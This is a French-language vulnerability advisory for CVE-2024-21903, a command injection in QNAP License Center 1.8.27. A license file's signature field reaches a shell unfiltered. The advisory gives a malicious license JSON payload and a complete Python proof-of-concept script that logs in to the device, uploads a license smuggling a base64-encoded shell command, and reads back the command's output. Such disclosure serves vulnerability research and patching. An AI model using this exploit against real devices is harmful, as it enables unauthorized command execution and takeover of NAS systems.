QNAP QSA-24-20 : License Center - Exécution de code arbitraire - CVE-2024-21903

CVE CVE-2024-21903 QNAP QSA-24-25 License Center 1.8.27

Historique (DD/MM/YYYY)

Résumé

The License Center 1.8.27 est vulnérable à une injection de commande et permet à un administrateur ou ayant des droits d’utilisation sur l’application License Center d’exécuter une commande arbitraire et de prendre le contrôle du système.

Version

Cette vulnérabilité a été détectée sur LicenseCenter 1.8.27. L’environnement de test est basé sur QTSCloud c5.1.0.2498.

License Center version

Détails techniques

La vulnérabilité nécessite d’avoir des privilèges administrateurs ou que l’utilisateur ait été délégué pour utiliser le LicenseCenter (System Management).

L’exploitation peut se faire manuellement en important ce fichier comme un fichier de licence.

{
    "nonce":"",
    "data":"",
    "signature":"';id > /home/httpd/cgi-bin/result;'"
}

Offline activation upload

Une fois importée, le résultat de la commande peut être lu en allant sur l’URL cgi-bin/result

Command executed

Lorsque l’utilisateur tente d’importer le fichier de licence, le contenu est décodé et la signature est vérifiée.

Pour vérifier la signature, la fonction qcloud_license_internal_unpack de la bibliothèque libqlicense est utilisée. Mais la donnée est complétement contrôlé par l’attaquant et la valeur n’est pas correctement filtrée avant d’être utilisée.

Decompiled code of libqlicense

Exploitation

Cet exploit est un POC qui exécute la commande id et enregistre le résultat dans le fichier suivant : /home/httpd/cgi-bin/result. Ce fichier peut être lu par une requête HTTP.


    import requests, base64, json

    BASE_URL = "http://10.0.10.11:8080"
    USERNAME = ""
    PASSWORD = ""
    COMMAND = "id"

    data = {
        "user": USERNAME,
        "serviceKey": "1",
        "pwd": base64.b64encode(PASSWORD.encode()).decode()
    }

    sid = requests.post(BASE_URL+"/cgi-bin/authLogin.cgi", data=data).text.split("<authSid><![CDATA[")[1].split("]")[0]


    payload = {
        "nonce":"",
        "data":"",
        "signature":"';echo  {}|base64 -d |sh > /home/httpd/cgi-bin/result;'".format(base64.b64encode(COMMAND.encode()).decode())
        }

    files = {
        "license_file": ("license.lif", json.dumps(payload))

    }

    params = {
        "language":"ENG",
        "cmd":"offline_activate_license",
        "is_extend":"0",
        "sid":sid,
    }

    requests.post(BASE_URL+'/cgi-bin/qid/qlicenseRequest.cgi', params=params, files=files)

    print(requests.get(BASE_URL+"/cgi-bin/result").text)